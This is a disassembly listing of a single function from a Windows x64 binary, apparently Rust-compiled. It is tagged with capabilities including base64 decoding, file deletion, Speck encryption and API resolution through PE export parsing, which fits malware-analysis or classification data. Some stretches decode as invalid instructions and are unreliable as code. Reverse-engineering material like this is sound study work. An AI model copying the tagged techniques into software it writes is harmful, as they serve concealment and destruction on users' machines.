Function at 0x140006ad0
Capabilities:
Decode data using base64 via dword translation table
Delete file
Encrypt data using speck
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x1238
call fcn.14016ae60
sub rsp, rax
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0x11a0], xmm8
movdqa xmmword [rbp + 0x1190], xmm7
movdqa xmmword [rbp + 0x1180], xmm6
and rsp, 0xffffffffffffff80
mov rbx, rsp
mov qword [rbx + 0x11f0], rbp
mov qword [rbp + 0x1178], 0xfffffffffffffffe
mov rdi, rdx
mov r14, rcx
mov qword [rbx + 0x380], 0
mov rax, qword [0x140221050]
lea rcx, [rbx + 0x380]
call rax
mov rdx, qword [rbx + 0x380]
mov rcx, qword [r14]
mov rax, rdx
sub rax, rcx
jge 0x140006c15
mov r15, rdi
sub rcx, rdx
movabs rdx, 0xd6bf94d5e57a42bd
mov rax, rcx
mul rdx
shr rdx, 0x17
imul eax, edx, 0x989680
sub ecx, eax
imul eax, ecx, 0x64
mov ecx, eax
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
imul ecx, ecx, 0x3b9aca00
sub eax, ecx
mov qword [rbx + 0x1040], rdx
mov dword [rbx + 0x1048], eax
lea rax, [rbx + 0x1040]
mov qword [rbx + 0xc30], rax
lea rax, [0x14014c550]
mov qword [rbx + 0xc38], rax
lea rax, str.stdoutlibrary_std_srciomod.rs
mov qword [rbx + 0x880], rax
mov qword [rbx + 0x888], 6
movzx eax, byte [0x140221258]
test al, al
je 0x140006e87
mov eax, dword [0x140221400]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x38], 0
je 0x140006d10
lea r13, [rax + 0x40]
jmp 0x140006d21
movabs r15, 0xd6bf94d5e57a42bd
mul r15
shr rdx, 0x17
cmp rdx, qword [r14 + 8]
jb 0x140007049
mov rsi, qword [r14 + 0x20]
test rsi, rsi
je 0x14000e17c
js 0x14000f20f
mov qword [rbx + 0x7f0], rdi
mov qword [rbx + 0x228], r14
mov r14, qword [r14 + 0x18]
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x140006c7a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f216
mov rcx, rax
mov qword [0x140221370], rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f216
mov rdi, rax
mov rcx, rax
mov rdx, r14
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbx + 0x1008], rsi
mov qword [rbx + 0x1010], rdi
mov qword [rbx + 0x1018], rsi
mov rax, qword [rbx + 0x228]
mov rsi, qword [rax + 0x30]
mov r13, qword [rax + 0x38]
test r13, r13
je 0x1400070a4
js 0x14000f20f
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x140006cf7
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000e009
mov rcx, rax
mov qword [0x140221370], rax
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
jne 0x1400070a9
jmp 0x14000e009
call fcn.140146850
mov r13, rax
test rax, rax
je 0x140006e87
mov rdi, qword [r13]
mov qword [r13], 0
test rdi, rdi
je 0x140006e87
mov qword [rbx + 0xd80], rdi
lea rsi, [rdi + 0x10]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402213f8]
shl rax, 1
test rax, rax
mov qword [rbx + 0xa0], rsi
jne 0x140009a92
mov dword [rbx + 0xa8], 0
movzx eax, byte [rdi + 0x18]
lea rcx, [rdi + 0x20]
mov qword [rbx + 0x380], 0
lea rax, str.Error:
mov qword [rbx + 0x390], rax
mov qword [rbx + 0x398], 2
lea rax, [rbx + 0xc30]
mov qword [rbx + 0x3a0], rax
mov qword [rbx + 0x3a8], 1
lea rdx, [rbx + 0x380]
call fcn.140146970
test rax, rax
je 0x140006e35
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x140006e35
mov rcx, rax
dec rcx
mov qword [rbx + 0xb0], rcx
mov rcx, qword [rax - 1]
mov qword [rbx + 0xb8], rax
mov rax, qword [rax + 7]
call qword [rax]
mov rax, qword [rbx + 0xb8]
mov rax, qword [rax + 7]
cmp qword [rax + 8], 0
mov rsi, qword [rbx + 0xb0]
je 0x140006e23
mov r8, qword [rsi]
cmp qword [rax + 0x10], 0x11
jb 0x140006e14
mov r8, qword [r8 - 8]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp byte [rbx + 0xa8], 0
jne 0x140006e52
mov rax, qword [0x1402213f8]
shl rax, 1
test rax, rax
jne 0x140009bb0
mov r12, r14
mov rcx, qword [rbx + 0xa0]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov rcx, qword [r13]
mov qword [r13], rdi
test rcx, rcx
je 0x140007043
lock dec qword [rcx]
jne 0x140007043
call fcn.14011ff60
jmp 0x140007043
mov rax, qword [0x1402212e8]
cmp rax, 3
jne 0x14000788d
mov rax, qword [0x1402212b0]
mov ecx, dword [0x140221400]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
lea rcx, [rcx + 0x50]
cmp rax, rcx
jne 0x140006ed1
mov eax, dword [0x1402212e0]
inc eax
je 0x14000f346
mov r12, r14
jmp 0x140006f07
mov r12, r14
lea rcx, [0x1402212a8]
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov eax, dword [0x140221400]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rax, [rax + 0x50]
mov qword [0x1402212b0], rax
mov eax, 1
mov dword [0x1402212e0], eax
lea rax, [0x1402212a8]
mov qword [rbx + 0x140], rax
lea r14, [rbx + 0x140]
mov qword [rbx + 0xd88], r14
mov qword [rbx + 0xd80], 0
mov qword [rbx + 0x380], 0
lea rax, str.Error:
mov qword [rbx + 0x390], rax
mov qword [rbx + 0x398], 2
lea rax, [rbx + 0xc30]
mov qword [rbx + 0x3a0], rax
mov qword [rbx + 0x3a8], 1
lea rdx, fcn.14013d3e0
lea r13, [rbx + 0xd80]
lea r8, [rbx + 0x380]
mov rcx, r13
call fcn.14005b7f0
mov rdx, qword [rbx + 0xd80]
test al, al
je 0x140006fa9
test rdx, rdx
lea rdi, str.formatter_error
cmovne rdi, rdx
jmp 0x140007020
xor edi, edi
test rdx, rdx
je 0x140007020
mov eax, edx
and eax, 3
cmp eax, 1
jne 0x140007020
lea rax, [rdx - 1]
mov qword [rbx + 0xa0], rax
mov rcx, qword [rdx - 1]
mov qword [rbx + 0xa8], rdx
mov rax, qword [rdx + 7]
call qword [rax]
mov rax, qword [rbx + 0xa8]
mov rax, qword [rax + 7]
cmp qword [rax + 8], 0
mov rsi, qword [rbx + 0xa0]
je 0x14000700c
mov r8, qword [rsi]
cmp qword [rax + 0x10], 0x11
jb 0x140006ffd
mov r8, qword [r8 - 8]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140221370]
xor edi, edi
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbx + 0x140]
dec dword [rcx + 0x38]
jne 0x14000703a
mov qword [rcx + 8], 0
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
test rdi, rdi
jne 0x14000f238
mov rdi, r15
mov r14, r12
movzx eax, byte [rdi + 0x20]
lea rcx, [rax - 2]
cmp rcx, 4
jae 0x14000e1e5
mov r8, qword [rdi + 0x10]
test r8, r8
je 0x14000707a
cmp qword [rdi + 8], 0
je 0x14000707a
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
movaps xmm6, xmmword [rbp + 0x1180]
movaps xmm7, xmmword [rbp + 0x1190]
movaps xmm8, xmmword [rbp + 0x11a0]
lea rsp, [rbp + 0x11b8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov eax, 1
mov qword [rbx + 0x138], rax
mov rcx, rax
mov rdx, rsi
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbx + 0x380], 0
mov rax, qword [0x140221050]
lea rcx, [rbx + 0x380]
call rax
mov rax, qword [rbx + 0x380]
movabs rcx, 0x19db1ded53e8000
cmp rax, rcx
jl 0x14000f360
movabs rcx, 0xfe624e212ac18000
add rax, rcx
mul r15
shr rdx, 0x17
mov qword [rbx + 0x1038], rdx
mov dword [rbx + 0x3a0], 0
mov word [rbx + 0x3a4], 0
mov qword [rbx + 0x380], 0
mov dword [rbx + 0x388], 0
movdqa xmm6, xmmword [0x1401766a0]
movdqu xmmword [rbx + 0x390], xmm6
mov byte [rbx + 0x3a2], 1
mov byte [rbx + 0x3a4], 1
test r13, r13
je 0x140007756
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x140007182
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000e009
mov rcx, rax
mov qword [0x140221370], rax
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000e009
mov rsi, rax
mov rcx, rax
mov rdx, qword [rbx + 0x138]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + 0x380]
mov rdx, rsi
mov r8, r13
call fcn.140144c10
mov rdi, rax
mov r14, rdx
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rdi, rdi
jne 0x14000778d
mov qword [rbx + 0xae8], r14
lea rax, [rbx + 0x1038]
mov qword [rbx + 0xd80], rax
lea rax, [fcn.14005a1b0]
mov qword [rbx + 0xd88], rax
lea rax, [rbx + 0x1008]
mov qword [rbx + 0xd90], rax
lea rsi, [0x140004f80]
mov qword [rbx + 0xd98], rsi
mov qword [rbx + 0x380], 0
lea rax, [0x1401775f8]
mov qword [rbx + 0x390], rax
mov qword [rbx + 0x398], 3
lea rax, [rbx + 0xd80]
mov qword [rbx + 0x3a0], rax
mov qword [rbx + 0x3a8], 2
lea r14, [rbx + 0x880]
lea rdx, [rbx + 0x380]
mov rcx, r14
call fcn.140013f00
movdqu xmm0, xmmword [rbx + 0x880]
movdqa xmmword [rbx + 0xc30], xmm0
mov rax, qword [rbx + 0x890]
mov qword [rbx + 0xc40], rax
lea rax, [rbx + 0xc30]
mov qword [rbx + 0x1040], rax
mov qword [rbx + 0x1048], rsi
lea rax, [rbx + 0xae8]
mov qword [rbx + 0xd88], rax
mov qword [rbx + 0xd80], 0
mov qword [rbx + 0x380], 0
lea rax, str.8N__
mov qword [rbx + 0x390], rax
mov qword [rbx + 0x398], 1
lea rax, [rbx + 0x1040]
mov qword [rbx + 0x3a0], rax
mov qword [rbx + 0x3a8], 1
lea rdx, [0x140176fd8]
lea rcx, [rbx + 0xd80]
lea r15, [rbx + 0x380]
mov r8, r15
call fcn.14005b7f0
mov rdi, qword [rbx + 0xd80]
test al, al
jne 0x140009aa4
test rdi, rdi
je 0x14000737c
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x14000737c
lea rsi, [rdi - 1]
mov rcx, qword [rdi - 1]
mov rax, qword [rdi + 7]
call qword [rax]
mov rax, qword [rdi + 7]
cmp qword [rax + 8], 0
je 0x14000736a
mov r8, qword [rsi]
cmp qword [rax + 0x10], 0x11
jb 0x14000735b
mov r8, qword [r8 - 8]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbx + 0xc30], 0
je 0x14000739c
mov r8, qword [rbx + 0xc38]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x140221400]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 8], 0
je 0x1400073bc
xor eax, eax
jmp 0x1400073dd
call fcn.14010f1e0
mov eax, dword [0x140221400]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 8]
xor al, 1
mov ecx, dword [0x140221400]
mov rdx, qword gs:[0x58]
mov rdx, qword [rdx + rcx*8]
mov rdi, qword [rdx + 0x10]
mov rcx, rdi
shr rcx, 0xc
xor rcx, rdi
mov rdi, rcx
shl rdi, 0x19
xor rdi, rcx
mov rcx, rdi
shr rcx, 0x1b
xor rcx, rdi
mov qword [rdx + 0x10], rcx
movabs rsi, 0x2545f4914f6cdd1d
mov rdx, rcx
imul rdx, rsi
mov qword [rbx + 0x1b0], rdx
test al, 1
je 0x140007462
call fcn.14010f1e0
mov eax, dword [0x140221400]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x10]
movzx eax, byte [rax + 8]
xor al, 1
jmp 0x140007464
xor eax, eax
mov rdx, rcx
shr rdx, 0xc
xor rdx, rcx
mov rcx, rdx
shl rcx, 0x19
xor rcx, rdx
mov rdx, rcx
shr rdx, 0x1b
xor rdx, rcx
mov ecx, dword [0x140221400]
mov rdi, qword gs:[0x58]
mov rcx, qword [rdi + rcx*8]
mov qword [rcx + 0x10], rdx
mov rcx, rdx
imul rcx, rsi
mov qword [rbx + 0x310], rcx
test al, 1
je 0x1400074d8
call fcn.14010f1e0
mov eax, dword [0x140221400]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rdx, qword [rax + 0x10]
movzx eax, byte [rax + 8]
xor al, 1
jmp 0x1400074da
xor eax, eax
mov rcx, rdx
shr rcx, 0xc
xor rcx, rdx
mov rdx, rcx
shl rdx, 0x19
xor rdx, rcx
mov rcx, rdx
shr rcx, 0x1b
xor rcx, rdx
mov edx, dword [0x140221400]
mov rdi, qword gs:[0x58]
mov rdx, qword [rdi + rdx*8]
mov qword [rdx + 0x10], rcx
mov rdx, rcx
imul rdx, rsi
mov qword [rbx + 0x240], rdx
test al, 1
je 0x140007543
call fcn.14010f1e0
mov eax, dword [0x140221400]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x10]
mov rax, rcx
shr rax, 0xc
xor rax, rcx
mov rcx, rax
shl rcx, 0x19
xor rcx, rax
mov rax, rcx
shr rax, 0x1b
xor rax, rcx
mov ecx, dword [0x140221400]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0x10], rax
imul rax, rsi
mov qword [rbx + 0x140], rax
lea rax, [rbx + 0x1b0]
mov qword [rbx + 0x880], rax
lea rax, [fcn.140061b70]
mov qword [rbx + 0x888], rax
lea rcx, [rbx + 0x310]
mov qword [rbx + 0x890], rcx
mov qword [rbx + 0x898], rax
lea rcx, [rbx + 0x240]
mov qword [rbx + 0x8a0], rcx
mov qword [rbx + 0x8a8], rax
lea rcx, [rbx + 0x140]
mov qword [rbx + 0x8b0], rcx
mov qword [rbx + 0x8b8], rax
mov qword [rbx + 0x380], 2
movdqa xmm0, xmmword [0x1401766b0]
movdqu xmmword [rbx + 0x390], xmm0
movabs rax, 0x2000000008
mov qword [rbx + 0x3a0], rax
mov byte [rbx + 0x3a8], 3
movaps xmm1, xmmword [0x1401766c0]
movups xmmword [rbx + 0x3b0], xmm1
movdqu xmmword [rbx + 0x3c8], xmm0
mov qword [rbx + 0x3d8], rax
mov byte [rbx + 0x3e0], 3
movaps xmm1, xmmword [0x1401766d0]
movups xmmword [rbx + 0x3e8], xmm1
movdqu xmmword [rbx + 0x400], xmm0
mov qword [rbx + 0x410], rax
mov byte [rbx + 0x418], 3
movdqa xmm8, xmmword [reloc.WS2_32.dll_bind]
movdqu xmmword [rbx + 0x420], xmm8
movdqu xmmword [rbx + 0x438], xmm0
mov qword [rbx + 0x448], rax
mov byte [rbx + 0x450], 3
mov qword [rbx + 0x458], 3
mov qword [rbx + 0x1040], r15
mov qword [rbx + 0x1048], 4
lea rax, [0x1401e95a8]
mov qword [rbx + 0x1050], rax
mov qword [rbx + 0x1058], 4
mov qword [rbx + 0x1060], r14
mov qword [rbx + 0x1068], 4
lea rcx, [rbx + 0xd80]
lea rdx, [rbx + 0x1040]
call fcn.140013f00
mov byte [rbx + 0xdc8], 0
mov r12, qword [rbx + 0xd80]
mov rdi, qword [rbx + 0xd88]
mov rax, qword [rbx + 0xd90]
mov qword [rbx + 0x7f8], rax
mov rax, qword [rbx + 0xdc8]
mov qword [rbx + 0xf0], rax
test r13, r13
je 0x1400077c1
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14000773e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000e009
mov rcx, rax
mov qword [0x140221370], rax
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
jne 0x1400077c7
jmp 0x14000e009
mov ecx, 1
mov rdx, qword [rbx + 0x138]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + 0x380]
mov edx, 1
mov r8, r13
call fcn.140144c10
mov rdi, rax
mov r14, rdx
test rdi, rdi
je 0x1400071de
mov qword [rbx + 0xd80], r14
lea rax, [0x1401775e0]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.1400a9190
lea r8, [rbx + 0xd80]
mov edx, 0x2b
call fcn.14016f5f0
ud2
mov r14d, 1
mov rcx, r14
mov rdx, qword [rbx + 0x138]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r14
mov rdx, r13
call fcn.140147590
test rax, rax
mov qword [rbx + 0x120], rdi
mov qword [rbx + 0xd8], r12
je 0x14000783b
mov r8, rdx
lea rcx, [rbx + 0x380]
mov rdx, rax
call fcn.140148010
cmp qword [rbx + 0x380], 0
je 0x140007846
mov rax, qword [rbx + 0x388]
mov qword [rbx + 0xe8], rax
mov rax, qword [rbx + 0x390]
mov rcx, qword [rbx + 0x398]
mov qword [rbx + 0x118], rcx
jmp 0x1400078bb
xor eax, eax
mov qword [rbx + 0xb8], rax
jmp 0x1400078c2
mov rsi, qword [rbx + 0x388]
mov r15, qword [rbx + 0x390]
test r15, r15
je 0x140007897
setns al
js 0x14000f20f
movzx edx, al
mov rcx, r15
mov qword [rbx + 0xa0], rdx
call fcn.1400137e0
mov rcx, rax
test rax, rax
jne 0x14000789c
mov rcx, r15
mov rdx, qword [rbx + 0xa0]
call fcn.14016c090
ud2
call fcn.1401748a0
jmp 0x140006e98
mov ecx, 1
mov rdx, rsi
mov r8, r15
mov rsi, rcx
call sub.VCRUNTIME140.dll_memcpy
mov rax, rsi
mov qword [rbx + 0x118], r15
mov qword [rbx + 0xe8], r15
mov qword [rbx + 0xb8], rax
mov rcx, r14
mov rdx, r13
call fcn.140147590
test rax, rax
mov qword [rbx + 0xf8], r13
mov qword [rbx + 0xc0], r14
je 0x140008036
cmp rdx, 2
jne 0x1400078f9
movzx ecx, word [rax]
cmp ecx, 0x2e2e
je 0x140008036
add rax, rdx
xor ecx, ecx
nop
mov rdi, rdx
add rdi, rcx
je 0x140008036
lea rsi, [rcx - 1]
cmp byte [rax + rcx - 1], 0x2e
mov rcx, rsi
jne 0x140007900
lea rcx, [rdx + rsi]
inc rcx
cmp rdx, rcx
jb 0x14000f63d
add rax, rsi
inc rax
add rdx, rsi
cmove rax, rdx
mov qword [rbx + 0xb0], rax
je 0x140008036
cmp rsi, 0xffffffffffffffff
je 0x140008036
mov r8, rsi
not r8
mov rdx, qword [rbx + 0xb0]
lea r15, [r8 + rdx]
jmp 0x140007978
add rdx, 2
cmp r15, rcx
cmovne rcx, rdx
nop dword [rax]
mov rdx, rcx
cmp r15, rcx
je 0x1400079d3
lea rcx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jns 0x140007970
cmp al, 0xe0
jb 0x140007961
cmp al, 0xed
jne 0x1400079ac
cmp r15, rcx
je 0x1400079d3
lea rax, [rdx + 2]
cmp r15, rax
je 0x1400079d3
cmp byte [rdx + 1], 0xa0
jae 0x140008036
add rdx, 3
mov rcx, rdx
jmp 0x140007970
add rdx, 2
cmp r15, rcx
cmove rdx, rcx
xor ecx, ecx
cmp r15, rdx
setne cl
add rcx, rdx
cmp al, 0xf0
jb 0x140007970
xor eax, eax
cmp r15, rcx
setne al
add rcx, rax
jmp 0x140007970
cmp r8, 8
jb 0x140007a68
mov rax, qword [rbx + 0xb0]
lea rdx, [rax + 7]
and rdx, 0xfffffffffffffff8
mov rcx, rdx
sub rcx, rax
cmp rcx, r8
ja 0x140007a68
movabs rax, 0x8080808080808080
mov rdi, qword [rbx + 0xb0]
test qword [rdi], rax
jne 0x140007a68
cmp rdx, qword [rbx + 0xb0]
mov edx, 8
cmove rcx, rdx
mov rdx, 0xfffffffffffffff7
sub rdx, rsi
cmp rcx, rdx
jae 0x140007a68
lea rdi, [rcx + 8]
mov rsi, qword [rbx + 0xb0]
test qword [rsi + rdi - 8], rax
jne 0x140007a4a
lea rsi, [rdi + 8]
cmp rdi, rdx
mov rdi, rsi
jb 0x140007a30
add rcx, 8
mov rdi, qword [rbx + 0xb0]
test qword [rdi + rcx - 8], rax
jne 0x140007a68
lea rdi, [rcx + 8]
cmp rcx, rdx
mov rcx, rdi
jb 0x140007a4e
mov eax, 0x566
lea r13, [rbx + 0x390]
xor edx, edx
mov edi, 0x566
mov rcx, qword [rbx + 0xb0]
nop word cs:[rax + rax]
mov qword [rbx + 0xe0], rdi
shr rax, 1
mov qword [rbx + 0xa8], rdx
add rax, rdx
mov qword [rbx + 0xa0], rax
mov rdx, rax
shl rdx, 5
lea rax, str.123application_vnd.lotus_1_2_3
mov rdi, qword [rdx + rax]
mov qword [rbx + 0xc8], rdx
mov rax, qword [rdx + rax + 8]
lea r10, [rdi + rax]
mov qword [rbx + 0xd80], r10
mov qword [rbx + 0xd88], rdi
mov dword [rbx + 0xda4], 0x110003
mov qword [rbx + 0x380], r15
mov qword [rbx + 0x388], rcx
mov dword [rbx + 0x398], 0x110003
mov dword [rbx + 0x3a4], 0x110003
mov dword [rbx + 0xd98], 0x110003
test rax, rax
je case.0x140007eed.0
mov esi, 0x110003
mov r14, rcx
mov qword [rbx + 0x198], r10
movzx ecx, byte [rdi]
movzx edx, cl
test dl, dl
js 0x140007b42
inc rdi
mov qword [rbx + 0x108], rdi
jmp 0x140007bc0
mov r9d, edx
and r9d, 0x1f
movzx eax, byte [rdi + 1]
and eax, 0x3f
cmp dl, 0xdf
jbe 0x140007b94
movzx r8d, byte [rdi + 2]
shl eax, 6
and r8d, 0x3f
or r8d, eax
cmp cl, 0xf0
jb 0x140007bab
movzx edx, byte [rdi + 3]
and r9d, 7
shl r9d, 0x12
shl r8d, 6
and edx, 0x3f
or edx, r8d
or edx, r9d
cmp edx, 0x110000
je 0x140007e1d
add rdi, 4
jmp 0x140007b36
add rdi, 2
mov qword [rbx + 0x108], rdi
shl r9d, 6
or r9d, eax
mov edx, r9d
jmp 0x140007bc0
add rdi, 3
mov qword [rbx + 0x108], rdi
shl r9d, 0xc
or r8d, r9d
mov edx, r8d
lea rcx, [rbx + 0xd90]
call fcn.14015cc50
mov r12d, dword [rbx + 0xd98]
mov edi, dword [rbx + 0xd90]
mov eax, dword [rbx + 0xd94]
mov dword [rbx + 0x100], eax
lea ecx, [r12 - 0x110000]
cmp r12d, 0x110000
mov eax, 3
cmovb ecx, eax
mov eax, 0x110000
lea r8, [0x1400113a0]
movsxd rdx, dword [r8 + rcx*4]
add rdx, r8
mov ecx, edi
jmp rdx
mov eax, 0x110001
mov ecx, dword [rbx + 0x100]
jmp case.0x140007c11.1
mov eax, 0x110002
cmp r12d, 0x110000
je 0x140007df3
mov ecx, edi
mov edi, r12d
mov dword [rbx + 0xd0], edi
mov r12d, eax
mov edi, ecx
cmp esi, 0x110003
je case.0x140007c72.0
nop word [rax + rax]
lea eax, [rsi - 0x110000]
cmp esi, 0x110000
mov ecx, 3
cmovb eax, ecx
lea rcx, [0x1400113b0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov dword [rbx + 0x398], 0x110002
add al, byte [rax]
adc dword [rax], eax
cmp esi, 0x110000
jne 0x140007dcf
test r14, r14
je 0x140007e90
cmp r15, r14
je 0x140007e90
movzx ecx, byte [r14]
movzx edx, cl
test dl, dl
js 0x140007cd0
inc r14
lea rcx, [rbx + 0x880]
call fcn.14015cc50
cmp dword [rbx + 0x888], 0x110003
jne 0x140007d77
jmp 0x140007e90
mov r8d, edi
mov eax, edx
and eax, 0x1f
movzx edi, byte [r14 + 1]
and edi, 0x3f
cmp dl, 0xdf
jbe 0x140007d40
movzx esi, byte [r14 + 2]
shl edi, 6
and esi, 0x3f
or esi, edi
cmp cl, 0xf0
jb 0x140007d4d
movzx edx, byte [r14 + 3]
and eax, 7
shl eax, 0x12
shl esi, 6
and edx, 0x3f
or edx, esi
or edx, eax
cmp edx, 0x110000
je 0x140007e90
mov edi, r8d
add r14, 4
lea rcx, [rbx + 0x880]
call fcn.14015cc50
cmp dword [rbx + 0x888], 0x110003
jne 0x140007d77
jmp 0x140007e90
add r14, 2
shl eax, 6
or eax, edi
mov edx, eax
jmp 0x140007d58
add r14, 3
shl eax, 0xc
or esi, eax
mov edx, esi
mov edi, r8d
lea rcx, [rbx + 0x880]
call fcn.14015cc50
cmp dword [rbx + 0x888], 0x110003
je 0x140007e90
mov eax, dword [rbx + 0x888]
mov dword [r13 + 8], eax
mov rax, qword [rbx + 0x880]
mov qword [r13], rax
mov esi, dword [rbx + 0x398]
cmp esi, 0x110003
inc byte [rbx]
add byte [rcx], dl
add byte [rdi], cl
invalid
mov dl, 0xfe
invalid
invalid
inc byte [rbx]
add byte [rcx], dl
add byte [rdi], cl
test dword [rdx - 0x16000002], esi
out 0xfe, eax
invalid
invalid
jmp case.0x140007c72.0
invalid
mov eax, 0x110000
mov esi, dword [rbx + 0x390]
jmp 0x140007dc7
mov esi, dword [rbx + 0x390]
mov eax, dword [rbx + 0x394]
mov dword [rbx + 0x390], eax
mov eax, 0x110001
mov dword [rbx + 0x398], eax
jmp 0x140007dd4
mov eax, 0x110002
xor ecx, ecx
cmp esi, dword [rbx + 0xd0]
setne cl
mov edx, 0xff
cmova ecx, edx
mov esi, eax
test cl, cl
je 0x140007be5
jmp 0x140007e4b
mov r12d, 0x110002
mov dword [rbx + 0xd98], r12d
mov dword [rbx + 0xd90], edi
mov rdi, qword [rbx + 0x108]
mov r10, qword [rbx + 0x198]
cmp rdi, r10
cmp edi, edx
cmp edi, edx
jne 0x140007b29
mov qword [rbx + 0x388], r14
mov eax, dword [rbx + 0xda4]
and dword [rbp + rcx + 0x33d0000], 0
adc dword [rax], eax
and dword [rbp + rcx + 0x33d0000], 0
adc dword [rax], eax
jne 0x140007eb6
lea rcx, [rbx + 0x380]
call fcn.14009dad0
cmp eax, 0x110000
setne cl
neg cl
cmp cl, 1
je 0x140007e90
movzx eax, cl
cmp eax, 0xff
mov rcx, qword [rbx + 0xb0]
mov rdx, qword [rbx + 0xa0]
jne 0x140009c0e
inc rdx
mov rdi, qword [rbx + 0xe0]
mov rax, rdi
sub rax, rdx
ja 0x140007a90
jmp 0x140007f4b
mov rcx, qword [rbx + 0xb0]
mov rdx, qword [rbx + 0xa8]
mov rdi, qword [rbx + 0xa0]
mov rax, rdi
sub rax, rdx
ja 0x140007a90
sti
invalid
jmp 0x140007f4b
mov r12d, dword [rbx + 0xd9c]
mov r14d, dword [rbx + 0xda0]
mov edi, r12d
lea ecx, [rax - 0x110000]
cmp eax, 0x110000
add byte [rcx], dl
add byte [rdx + 3], bh
add byte [rcx], dl
add byte [rdx + 3], bh
cmovb ecx, edx
mov esi, 0x110000
retf 0xbe
lea rdx, [0x1400113c0]
movsxd rcx, dword [rdx + rcx*4]
mov cl, byte [rax + 1]
sar edi, 1
jmp rcx
mov cl, byte [rax + 1]
sar edi, 1
jmp rcx
invalid
mov esi, 0x110001
add dword [rax], eax
adc dword [rax], eax
mov edi, r14d
jmp case.0x140007eed.1
mov esi, 0x110002
mov edi, r12d
mov edi, esp
mov edi, esp
mov r12d, eax
cmp eax, 0x110000
je case.0x140007eed.0
lea rcx, [rbx + 0x380]
call fcn.14009dad0
mov rcx, qword [rbx + 0xb0]
cmp eax, 0x110000
je 0x140007e97
xor ecx, ecx
cmp eax, r12d
setne cl
mov eax, 0xff
cmova ecx, eax
mov r12d, edi
mov eax, esi
test cl, cl
je 0x140007ec7
jmp 0x140007e4b
xor edx, edx
lea rcx, method..virtual_32
test rdx, rdx
cmovne rcx, rdx
mov r13, qword [rbx + 0xf8]
je 0x140008036
test rax, rax
je 0x140008036
mov rdi, r13
mov rdx, qword [rcx]
mov r8, qword [rcx + 8]
mov qword [rbx + 0x140], rdx
mov qword [rbx + 0x148], r8
lea rcx, [rbx + 0x380]
call fcn.14009c310
mov rax, qword [rbx + 0x3a0]
cmp rax, 2
je 0x14000f71a
mov qword [rbx + 0xe0], rax
movzx r14d, byte [rbx + 0x380]
movzx eax, byte [rbx + 0x387]
shl eax, 0x10
movzx ecx, word [rbx + 0x385]
or ecx, eax
shl rcx, 0x20
mov r13d, dword [rbx + 0x381]
or r13, rcx
mov rax, qword [rbx + 0x388]
mov qword [rbx + 0xb0], rax
